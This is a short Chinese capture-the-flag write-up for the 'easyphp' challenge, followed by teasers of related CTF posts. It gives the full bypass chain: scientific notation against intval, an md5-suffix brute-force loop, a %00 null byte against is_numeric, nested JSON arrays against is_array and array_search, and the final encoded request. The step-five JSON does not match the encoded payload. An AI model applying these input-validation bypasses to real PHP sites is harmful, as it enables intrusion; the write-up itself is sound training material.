攻防世界easyphp解题wp

第一步，用科学计数法绕过 a=1e9

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)#$a=1e9

第二步，用php代码编写md5碰撞脚本得到b=53724

<?php
for ($i = 1; $i < 100000; $i++) {if('8b184b' === substr(md5($i),-6,6)){echo($i);}
}
?>

第三步，绕过is_numeric函数

$c=(array)json_decode(@$_GET['c']); #接收json格式的字符串并将其转化为数组c={"m":"2033%00"}#使用%00可以绕过is_numeric函数

第四步，绕过is_array函数

c={"m":"2033%00","n":[[1]]}

第五步，绕过array_search函数

c={"m":"2033%00","n":[[0,2],0]}#对{"m":"2033%00","n":[[0,2],0]}进行url编码得到：
%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D

一定要对传值url编码

?a=1e9&b=53724&c=%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D

提交得到flag

参考文章

攻防世界ctf web easyphp题解wp_中原第一高手的博客-CSDN博客

攻防世界easyphp解题wp相关推荐

攻防世界mfw解题wp
开始点点点发现php源码,bootstrap写的,好像还有git备份,猜测git源码泄露然后用dirbuster扫一下目录 python .\dirsearch.py -u "http:/ ...
【ics-05 | mfw】攻防世界CTF题WP
攻防世界CTF题WP ics-05 所需知识解题步骤学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识解题步骤学习知识 Dirserach工具 GitHa ...
[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解
[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解 _wakeup()及php序列化反序列化序列化字符串结构分析 _wakeup()的利用解题思路伪属性数 ...
[CTF/网络安全] 攻防世界 php_rce 解题详析
[CTF/网络安全] 攻防世界 php_rce 解题详析 PHP REC ThinkPHP V5漏洞Payload 姿势总结 PHP REC PHP RCE 指的是通过远程代码执行漏洞(Remote ...
攻防世界 crypto入门WP
攻防世界 crypto入门WP 前言下学期要求密码和Re,现在这俩几乎是空白,趁着暑假的功夫,最近也能闲下来,就学一学crypto,其实真正接触发现挺有意思的,各种密码的加密千奇百怪,层出不穷,也是 ...
python小记--攻防世界simple_js解题脚本编写
目录 \x格式十六转十进制十进制转换ASCII值 \x格式十六转十进制对应攻防世界web新手题simple_js 查看网页源代码之后看到了一串\x开头的数据 \x35\x35\x2c\x35\x3 ...
Wirte-up：攻防世界Web解题过程新手区01-06
文章更新于:2020-02-18 说明:为了标识图片边界,有些图片加了红线以增强观感. 注1: web 环境搭建参见: Windows&linux使用集成环境搭建 web 服务器注2:DVW ...
攻防世界 upload1 解题思路
进入题目看到文件上传,那么肯定第一想法就是想的传一个木马上去.写好保存提示说要提交图片文件,因为以弹窗的形式且反应速度较快,那么我猜测它是前端检测文件,所以我们可以先用bp绕过试一试,不行我们在用 ...
攻防世界 easy-dex解题思路
零.前言这道题包含的知识感觉还挺多的,基本上是解出一步卡一步,然后不停的百度,看文章分析,才慢慢的摸索出来,首先是第一次接触到纯native开发的app这种东西,知道了其AXML大概的写法,以及SO ...
攻防世界-easyphp
题目访问url进入靶场,阅读php代码 <?php highlight_file(__FILE__); $key1 = 0;//值赋值 $key2 = 0;$a = $_GET['a'];// ...

攻防世界easyphp解题wp

攻防世界easyphp解题wp相关推荐

最新文章

热门文章